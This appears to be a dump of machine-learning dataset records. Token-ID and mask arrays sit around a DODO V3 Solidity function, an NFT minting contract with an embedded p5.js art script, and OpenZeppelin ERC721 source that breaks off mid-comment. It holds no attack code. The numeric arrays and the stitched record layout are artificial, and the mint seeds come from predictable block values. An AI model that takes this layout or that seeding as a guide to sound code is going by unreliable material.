[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2874, 12, 2867, 516, 2254, 5034, 13, 3238, 389, 2696, 951, 1556, 5157, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x2F66C5aAF006Bd9c51615D617589C16c0ed35fD3/sources/contracts/DODOV3MM/D3Pool/D3Trading.sol
============ Swap ============= @notice get swap status for internal swap deal with update flag
function getRangeOrderState( address fromToken, address toToken ) public view returns (Types.RangeOrderState memory roState) { roState.oracle = state._ORACLE_; uint256 fromTokenIndex; uint256 toTokenIndex; (roState.fromTokenMMInfo, fromTokenIndex) = ID3Maker(state._MAKER_).getTokenMMInfoForPool(fromToken); (roState.toTokenMMInfo, toTokenIndex) = ID3Maker(state._MAKER_).getTokenMMInfoForPool(toToken); roState.fromTokenMMInfo.cumulativeAsk = allFlag >> (fromTokenIndex) & 1 == 0 ? 0 : tokenCumMap[fromToken].cumulativeAsk; roState.fromTokenMMInfo.cumulativeBid = allFlag >> (fromTokenIndex) & 1 == 0 ? 0 : tokenCumMap[fromToken].cumulativeBid; roState.toTokenMMInfo.cumulativeAsk = allFlag >> (toTokenIndex) & 1 == 0 ? 0 : tokenCumMap[toToken].cumulativeAsk; roState.toTokenMMInfo.cumulativeBid = allFlag >> (toTokenIndex) & 1 == 0 ? 0 : tokenCumMap[toToken].cumulativeBid; }
4,285,858
[ 1, 14468, 12738, 422, 1432, 12275, 225, 336, 7720, 1267, 364, 2713, 7720, 10490, 598, 1089, 2982, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 22373, 2448, 1119, 12, 203, 3639, 1758, 628, 1345, 16, 203, 3639, 1758, 358, 1345, 203, 565, 262, 1071, 1476, 1135, 261, 2016, 18, 2655, 2448, 1119, 3778, 721, 1119, 13, 288, 203, 3639, 721, 1119, 18, 280, 16066, 273, 919, 6315, 916, 2226, 900, 67, 31, 203, 3639, 2254, 5034, 628, 1345, 1016, 31, 203, 3639, 2254, 5034, 358, 1345, 1016, 31, 203, 3639, 261, 303, 1119, 18, 2080, 1345, 8206, 966, 16, 628, 1345, 1016, 13, 273, 1599, 23, 12373, 12, 2019, 6315, 5535, 27221, 67, 2934, 588, 1345, 8206, 966, 1290, 2864, 12, 2080, 1345, 1769, 203, 3639, 261, 303, 1119, 18, 869, 1345, 8206, 966, 16, 358, 1345, 1016, 13, 273, 1599, 23, 12373, 12, 2019, 6315, 5535, 27221, 67, 2934, 588, 1345, 8206, 966, 1290, 2864, 12, 869, 1345, 1769, 203, 203, 203, 3639, 721, 1119, 18, 2080, 1345, 8206, 966, 18, 71, 11276, 23663, 273, 203, 5411, 777, 4678, 1671, 261, 2080, 1345, 1016, 13, 473, 404, 422, 374, 692, 374, 294, 1147, 39, 379, 863, 63, 2080, 1345, 8009, 71, 11276, 23663, 31, 203, 3639, 721, 1119, 18, 2080, 1345, 8206, 966, 18, 71, 11276, 17763, 273, 203, 5411, 777, 4678, 1671, 261, 2080, 1345, 1016, 13, 473, 404, 422, 374, 692, 374, 294, 1147, 39, 379, 863, 63, 2080, 1345, 8009, 71, 11276, 17763, 31, 203, 3639, 721, 1119, 18, 869, 1345, 8206, 966, 18, 71, 11276, 23663, 273, 203, 5411, 777, 4678, 1671, 261, 869, 1345, 1016, 13, 473, 404, 422, 374, 692, 2 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/access/AccessControl.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol"; // Opensea: represents a proxy contract of a user contract OwnableDelegateProxy {} /** Opensea: This represents Opensea's ProxyRegistry contract. We use it to find and approve the opensea proxy contract of a user so our contract is better integrated with opensea. */ contract ProxyRegistry { mapping(address => OwnableDelegateProxy) public proxies; } contract MechanizedAbstractions is AccessControl, Ownable, ERC721, VRFConsumerBase { using SafeMath for uint256; using Strings for uint256; using ECDSA for bytes32; // Addresses address public proxyRegistryAddress; // Opensea: the address of the Opensea ProxyRegistry // Strings string public p5ScriptArweaveAddress; // points to the p5 script on arweave https://55mcex7dtd5xf4c627v6hadwoq6lgw6jr4oeacqd5k2mazhunejq.arweave.net/71giX-OY-3LwXtfr44B2dDyzW8mPHEAKA-q0wGT0aRM string public baseURIString = ""; // represents the baseURI of the metadata string public p5script = "function mechanizedAbstractionRenderer(e){let[t,o]=function(e){const t=parseInt(e.slice(0,Math.floor(e.length/2)))%1e10,o=parseInt(e.slice(Math.floor(e.length/2),e.length))%1e10;return[t,o]}(e);var l,n,r,a,F,d,i,s,v,D,A,h=60,E=255,B={};let b={},c={'Mid-century':{v:['#F1B680','#E98355','#D24227','#274274','#4787A8','#89B6AB','#8AAAA2'],w:7,bbl:['#D24227','#F1B680','#E98355']},Unpacked:{v:['#00000B','#87F8DF','#DE4338','#F4C0D9','#2E34C5','#E7E96D'],w:7,bbl:[]},Boardwalk:{v:['#B8E2D3','#5B9AF5','#FD2B73','#FE8233','#D40C0C','#FFCA35','#1F7340','#0343C1','#66093E'],w:3,bbl:['#5B9AF5','#FE8233','#D40C0C','#FFCA35','#1F7340','#0343C1','#66093E']},'Pop!':{v:['#E7147F','#179AED','#2C2A87','#F4EF19','#7A4A95','#9DD340','#DC132A'],w:6,bbl:['#DC132A','#']},Sunburst:{v:['#143642','#ec9a29','#0f8b8d','#dad2d8'],w:3,bbl:[]},Ethereal:{v:['#03B87A','#6139D0','#60A0F4','#FFDE3A','#F4FCFF','#2A2F4D','#F6C1FF'],w:7,bbl:['#FFDE3A','#F6C1FF']},Coral:{v:['#FF8A71','#DB82A8','#55BCF5','#7CD3C5','#0246C9','#FFBAAB'],w:5,bbl:[]},Paradise:{v:['#FD9672','#FAA34F','#6BACB5','#3F7088','#EDC1BE'],w:4,bbl:['#FD9672','#FAA34F']},'Ultra Red':{v:['#313B42','#FFEEE4','#E54F2D','#FD7A6E','#FFBDB7'],w:4,bbl:['#E54F2D','']},'Ocean Blues':{v:['#3073AD','#78B0E2','#9CC2E3','#D9EDFF','#0788D9'],w:2,bbl:['#D94F30']},Dreamscape:{v:['#E0CEFA','#88A0E4','#5991FF','#FFA794','#FF8282','#B9FDDD'],w:5,bbl:['#FFA794','#FF8282']},Blossom:{v:['#2A764B','#55A578','#F5F5D9','#FFC4B2','#DC934C'],w:3,bbl:['','','']},Mystique:{v:['#A57AFF','#C4F500','#03CCBF','#80FFD4','#03A0FF','#0469A6','#30337A'],w:5,bbl:['#03A0FF','#C4F500']},Nautical:{v:['#FAC998','#EB9C44','#D9492A','#A12425','#347D95'],w:4,bbl:['#D9492A','#EB9C44']},Retro:{v:['#F4EE97','#F9D74D','#EC9E43','#E2693C','#4A6076'],w:2,bbl:['#','#']},'Ode to Van Gogh':{v:['#2A4184','#5A87C2','#94C0D2','#EFE986','#1B2424'],w:3,bbl:['#EFE986']},'Ode to Mondrian':{v:['#D2BA49','#B7B8B2','#143675','#9E2F2A','#DDDDD9'],w:3,bbl:['#9E2F2A','#143675']},'Ode to Monet':{v:['#C4C7BA','#344147','#6A8993','#D46E60','#D18D74'],w:3,bbl:['#D46E60']},'Midnight Blue':{v:['#000421','#1BC5D2'],w:2,bbl:['#1BC5D2']},Monochrome:{v:['#F0EFEF','#373737'],w:2},Punkable:{v:['#6C91A6','#D77247','#CBEDEC','#FFF0B5','#313131','#9BC989','#BEBEBE'],w:3,bbl:['#D77247']},Apeable:{v:['#9A9B6B','#B9CBDC','#F3B468','#396785','#74D4B4','#9979A0','#F2F29C'],w:3,bbl:['#ED041F']}},w={Solid:{v:'solid',w:80},Translucent:{v:'translucent',w:20}},m={Low:{v:{mean:15,std:5,floor:20},w:60},Medium:{v:{mean:30,std:5,floor:20},w:20},High:{v:{mean:40,std:5,floor:20},w:10}},C={None:{v:0,w:89},Thick:{v:1.5,w:10},Thin:{v:1,w:1}},u={White:{v:'rgba(255,255,255,.8)',w:1},Black:{v:'rgba(0,0,0,.6)',w:1}},f={Short:{v:{mean:200,std:150},w:1},Normal:{v:{mean:400,std:300},w:1},Long:{v:{mean:1500,std:250},w:1}},g={Thin:{v:{mean:3,std:.1},w:25},Normal:{v:{mean:10,std:5},w:60},Thick:{v:{mean:20,std:5},w:15}},p={Normal:{v:2e-4,w:85},Straight:{v:1e-6,w:15}},k={Normal:{v:{mean:25e3,std:25e3},w:1},None:{v:{mean:0,std:0},w:1}},M={'No Border':{v:-25,w:85},Border:{v:35,w:15}};var S=function(e,t){var o=Object.keys(e),l=[];for(let t=0;t<o.length;t++){let n=e[o[t]].w;for(let e=0;e<n;e++)l.push(o[t])}return l[t.floor(t.random()*l.length)]};function y(e,t,o,l){let n=e.randomGaussian(2,10);var r=[],a=[];for(var F=0;F<13;F++){let l=n+e.random(-n/35,n/35);r[F]=t+l*e.cos(360*F/13),a[F]=o+l*e.sin(360*F/13)}e.beginShape();for(let t=0;t<r.length;t++)e.curveVertex(r[t],a[t]);e.endShape(e.CLOSE)}function x(e,t,o){let l=o.randomGaussian(D,10);return e<l||e>o.width-l||t<l||t>o.height-l}function N(e,t,o){let l=e.randomGaussian(i.mean,i.std),n=e.randomGaussian(s.mean,s.std);var r=[],F=[];r.push(t);for(let t=0;t<l;t++){let o=e.createVector(r[t].x+n,r[t].y+n);if(x(r[t].x+n,r[t].y+n,e))--t,--l;else{F.push(o);var v=e.map(e.noise(r[t].x*d,r[t].y*d),0,1,0,720);if(x(r[t].x+e.cos(v),r[t].y+e.sin(v),e))--t,--l;else{var D=e.createVector(r[t].x+e.cos(v),r[t].y+e.sin(v));r.push(D)}}}for(e.beginShape(),t=0;t<r.length;t++){let o=r[t];e.vertex(o.x,o.y)}for(t=F.length-1;t>=0;t--){let o=F[t];e.vertex(o.x,o.y)}e.endShape(),e.stroke(a);let A=e.color(o);A.setAlpha(E),e.fill(A)}return{renderer:e=>{e.setup=function(){e.randomSeed(t),e.noiseSeed(o);let x=e.createCanvas(1500,500);var G;for(e.angleMode(e.DEGREES),function(e){B.randomSeed=t,B.noiseSeed=o;let v=S(w,e);B['fill type']=v,'translucent'==w[v].v&&(delete c.Monochrome,delete c['Midnight Blue'],delete C.Thick,delete m.Low,delete m.Medium,h=80,E=200);let b=S(M,e);B.borderStyle=b,(D=M[b].v)>0&&(delete m.Low,delete m.Medium);let y=S(m,e);B.density=y,F=m[y].v;let x=S(c,e);B.colors=x,l=c[x].v,n=c[x].bbl,'Midnight Blue'==x&&(delete u.Black,delete C.None,delete C.Thick),'Monochrome'==x&&(delete u.White,delete C.None,delete C.Thick);let N=S(C,e);B.strokeThickness=N,r=C[N].v;let G=S(u,e);B.strokeColor=G,a=u[G].v;let T=S(f,e);B.curveLength=T,i=f[T].v;let L=S(g,e);B.curveWidth=L,s=g[L].v;let O=S(p,e);B.curveRate=O,d=p[O].v;let R=S(k,e);B.textureDensity=R,A=k[R].v}(e);null==G;){let t=l[e.floor(e.random()*l.length)];null!=n&&n.includes(t)||(G=t)}e.background(G),l=l.filter(e=>e!=G),e.strokeWeight(r);let T=e.floor(e.max(e.randomGaussian(F.mean,F.std),F.floor));for(var L=e.width/T,O=D;O<e.width-D;O+=L)for(var R=D;R<e.height-D;R+=L)if(e.floor(100*e.random())<=h){var U=e.createVector(O+e.random(-10,10),R+e.random(-10,10));N(e,U,l[e.floor(e.random()*l.length)])}else e.random(),e.width,e.random(),e.height,y(e,O+e.randomGaussian(20,20),R+e.random(20,20),l[e.floor(e.random()*l.length)]);v=e.randomGaussian(A.mean,A.std),function(e,t){let o=e.floor(e.random(50,90)),l=e.color(20,20,20,o);e.noStroke(),e.fill(l);for(let o=0;o<t;o++){let t=e.random()*e.width,o=e.random()*e.height,l=e.random(0,1.5);e.ellipse(t,o,l)}}(e,v),b.dataUrl=x.canvas.toDataURL()},e.draw=function(){e.noLoop()}},properties:B,dataUrl:b}}"; string public arweaveGateway = "https://arweave.net/"; // Flags bool public isContractOpen = true; // Token data uint256 public nextTokenId = 1; /** ROLES */ bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); bytes32 public constant BURNER_ROLE = keccak256("BURNER_ROLE"); // Arweave metadata uint256[] public arweaveManifestBatches; // excluding the token of the value itself string[] public arweaveManifestIds; // Chainlink VRF variables bytes32 private keyHash; // public key used to generate random values uint256 private fee; // fee paid to chainlink node for random value uint256 public baseSeed = 0; // MechanizedAbstractions seed values mapping(uint256 => uint256) private _vrfValues; mapping(uint256 => uint256) public seedValues; // maps token id to seed value // events event Minted(address minter, uint256 tokenId); event VRFRequested(bytes32 requestId); event VRFReceived(bytes32 requestId); event ReceivedEther(uint256 amount, address _from); // modifiers modifier modifiable { require(isContractOpen, "NOT MODIFIABLE"); _; } constructor( string memory _name, string memory _symbol, address _proxyRegistryAddress, string memory _p5ScriptArweaveAddress, address _vrfCoordinator, address _linkTokenAddress, uint256 _vrfFee, bytes32 _keyHash ) Ownable() ERC721(_name, _symbol) VRFConsumerBase( _vrfCoordinator, _linkTokenAddress ) { proxyRegistryAddress = _proxyRegistryAddress; // set the provided ProxyRegistry address to our own state variable p5ScriptArweaveAddress = _p5ScriptArweaveAddress; // set arweave address of p5 script keyHash = _keyHash; // set the keyhash used for rng fee = _vrfFee; // fee paid to chainlink VRF node, varies per network (0.1 * 10 ** 18) = 0.1 link _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); } /** === ERC-721 & METADATA functions === */ /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(AccessControl, ERC721) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev returns the baseURI for the metadata. Used by the tokenURI method. * @return the URI of the metadata */ function _baseURI() internal override view returns (string memory) { return baseURIString; } /** * @dev returns the tokenUri of a token * First it checks if the token exists, if not it reverts * Then it tries to find the batch index of the token * If the batch index is not found it returns a link to the server * Otherwise it returns a link to the corresponding arweave manifest * * @param tokenId the tokenId of the token */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "TOKEN DOESN'T EXIST"); // Look for the arweave batch index of the token uint256 index = 0; bool found = false; for (uint i = 0; i < arweaveManifestBatches.length; i++) { if (tokenId < arweaveManifestBatches[i]) { index = i; found = true; break; } } // If no arweave manifest was uploaded for tokenId return a link to the server if (!found) { return string(abi.encodePacked(_baseURI(), tokenId.toString())); } // Otherwise return the arweave link return string(abi.encodePacked(arweaveGateway, arweaveManifestIds[index], "/", tokenId.toString())); } /** === ONLY OWNER === */ /** * @dev Allows the signatureProvider to set a new manifestId * for a given batch. * * @param batchId the batch Id * @param manifestId the manifest Id */ function setArweaveManifestId(uint256 batchId, string memory manifestId) external onlyOwner { if (arweaveManifestBatches.length > 0) { require(arweaveManifestBatches[arweaveManifestBatches.length - 1] < batchId, "BATCH ID SHOULD EXCEED PREVIOUS ONE"); } arweaveManifestBatches.push(batchId); arweaveManifestIds.push(manifestId); } function resetArweave() external onlyOwner modifiable { delete arweaveManifestBatches; delete arweaveManifestIds; } function setP5(string calldata _p5) external onlyOwner modifiable { p5script = _p5; } function setP5Address(string calldata _address) external onlyOwner modifiable { p5ScriptArweaveAddress = _address; } /** * @dev function to change the baseURI of the metadata */ function setBaseURI(string memory _newBaseURI) public onlyOwner modifiable { baseURIString = _newBaseURI; } function setArweaveGateway(string calldata _gateway) external onlyOwner modifiable { arweaveGateway = _gateway; } /** * @dev Allows the owner to withdraw link */ function withdrawLink() external onlyOwner { require(LINK.transfer(msg.sender, LINK.balanceOf(address(this))), "LINK Transfer failed"); } /** * @dev Allows the owner to withdraw ether */ function withdrawEth() external onlyOwner { (bool success, ) = msg.sender.call{value: address(this).balance}(""); require(success, "ETH Transfer failed"); } function disableModifications() external onlyOwner { isContractOpen = false; } /** === OPENSEA FUNCTIONS === */ /** * @dev Override isApprovedForAll to whitelist user's OpenSea proxy accounts to enable gas-less listings. */ function isApprovedForAll(address owner, address operator) override public view returns (bool) { // Create an instance of the ProxyRegistry contract from Opensea ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress); // whitelist the ProxyContract of the owner of the NFT if (address(proxyRegistry.proxies(owner)) == operator) { return true; } return super.isApprovedForAll(owner, operator); } /** === MINT METHODS === */ /** * @dev mints numberOfTokens tokens. * - A new VRF request is made before each 15 tokens are minted * - Creates a new tokenData struct * - Increments the tokenId * - Checks if the VRF value for this batch is ready * - If so it mints the token * - If not it adds to token to pending mints array for current requestId * - And it adds one to the pending mints of the users * * @param numberOfTokens the number of tokens to mint */ function doMint(uint256 numberOfTokens, address _to) external onlyRole(MINTER_ROLE) { for (uint i = 0; i < numberOfTokens; i++) { _safeMint(_to, nextTokenId); seedValues[nextTokenId] = (uint256(keccak256(abi.encode(nextTokenId, baseSeed, msg.sender, block.timestamp, blockhash(block.number))))); emit Minted(_to, nextTokenId); nextTokenId = nextTokenId.add(1); } } function burn(uint256 tokenId) external onlyRole(BURNER_ROLE) { _burn(tokenId); } /** === CHAINLINK VRF METHODS === */ /** * Requests randomness */ function _requestNewVRN() external onlyOwner modifiable returns (bytes32) { require(LINK.balanceOf(address(this)) >= fee, "NOT ENOUGH LINK"); bytes32 requestId = requestRandomness(keyHash, fee); emit VRFRequested(requestId); return requestId; } /** * @dev Callback function used by VRF Coordinator * Pushed new VRF value to array * Mints any pending tokens */ function fulfillRandomness(bytes32 requestId, uint256 randomness) internal override { baseSeed = randomness; emit VRFReceived(requestId); } /** === MISC === */ /** * @dev Fallback function for receiving Ether */ receive() external payable { emit ReceivedEther(msg.value, msg.sender); } /** * @dev returns the amount fo arweave batches that have been uploaded */ function arweaveBatchLength() external view returns(uint256) { return arweaveManifestBatches.length; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on 